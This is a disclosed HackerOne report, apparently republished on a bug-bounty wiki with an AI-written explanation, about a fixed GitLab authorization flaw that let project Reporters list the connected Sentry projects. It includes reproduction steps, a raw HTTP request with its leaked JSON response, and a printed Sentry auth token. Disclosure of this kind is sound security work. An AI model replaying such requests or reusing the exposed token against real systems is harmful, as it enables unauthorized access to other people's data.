A project reporter can leak owner's Sentry instance projects
A user with the Reporter role could access an endpoint that lists projects from the connected Sentry instance, which should only be available to Owners. This allowed a Reporter to leak the names and identifiers of all Sentry projects without needing the authentication token.
GitLab
Originally disclosed on GitLab
- Fixed in 5 months
- Disclosed after 5 months
⚠️ Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.
HackerOne report #1947211 by js_noob on 2023-04-14, assigned to @dcouture:
Report | Attachments | How To Reproduce
Report
Summary
Hello team, as a part of the project error tracking a user (owner or maintainer) can connect Sentry to GitLab to track different project errors. This step allows the "owner" to connect to Sentry to fetch the available projects, this should only be available to "owners", this can be done by clicking the Connect button on Project Settings => Monitor => Error Tracking, checking the below screenshot. However, even a project reporter can fetch the connected Sentry instance projects.

Steps to reproduce
As an owner:
- Create a new ultimate trial group, and create a new project in that group
- Enable Sentry error tracking by going to https://gitlab.com/GROUP/PROJECT/-/settings/operations under Error tracking, you can use my Sentry instance, and choose any project in the drop-down:
* Sentry API URL:https://xyz-6jv.sentry.io/
* Auth Token:a6d9c60bd9254c19995af8f0502b6d9aa2412dd92e724204a8b948e52b87dfc1

- Invite a reporter to the project/group
As the reporter:
- Navigate to https://gitlab.com/GROUP/PROJECT/-/settings/operations and verify that you are blocked
- Send the following request, to grab all the Sentry instance projects. Change the
api_hostif you used your own instance
GET /GROUP/PROJECT/-/error_tracking/projects?api_host=https://xyz-6jv.sentry.io/&token=* HTTP/2
Host: gitlab.com
Cookie: REDACTED
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Csrf-Token: REDACTED
X-Requested-With: XMLHttpRequest
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
- The response should look similar to the one below, leaking all projects
{"projects":[{"id":"4505012306182144","name":"secret-project","status":"active","slug":"secret-project","organization_name":"XYZ","organization_id":"4505012227342336","organization_slug":"xyz-6jv"},{"id":"4505012228915200","name":"javascript","status":"active","slug":"javascript","organization_name":"XYZ","organization_id":"4505012227342336","organization_slug":"xyz-6jv"}]}
NB: I know that this exploitation requires knowing the sentry domain, there are a lot of ways that this can be done, a couple of examples if the reporter was a maintainer and was demoted or simply by brute force. However, the "real" bug/issue here is the missing authorization on -/error_tracking/projects
Video/POC
Impact
A project reporter can leak the owner's Sentry instance projects by knowing the domain without auth token.
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
How To Reproduce
Please add reproducibility information to this section:
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the endpoint that lists Sentry projects lacked an authorization check to ensure the user has Owner or Maintainer permissions.
Impact
A project reporter could leak the owner's Sentry instance projects by knowing the domain, without needing the auth token.
What the attacker needed
A GitLab account with Reporter role on a project; the project has Sentry error tracking configured; the attacker knows the Sentry domain
How it was found
- As an owner, create a new ultimate trial group and a project in that group.
- Enable Sentry error tracking by going to the project's Settings > Monitor > Error Tracking and connecting a Sentry instance.
- Invite a reporter to the project or group.
- As the reporter, navigate to the error tracking settings page and verify access is blocked.
- Send a GET request to the error_tracking/projects endpoint with the Sentry API host and token.
- Observe the response containing the list of Sentry projects.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
In GitLab, different roles have different permissions. A Reporter is a low-privilege role that should not be able to see sensitive settings. The error tracking settings page is supposed to be restricted to Owners, but the endpoint that fetches Sentry projects did not check the user's role, so a Reporter could call it directly and see the list of Sentry projects.
What is Access control?
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.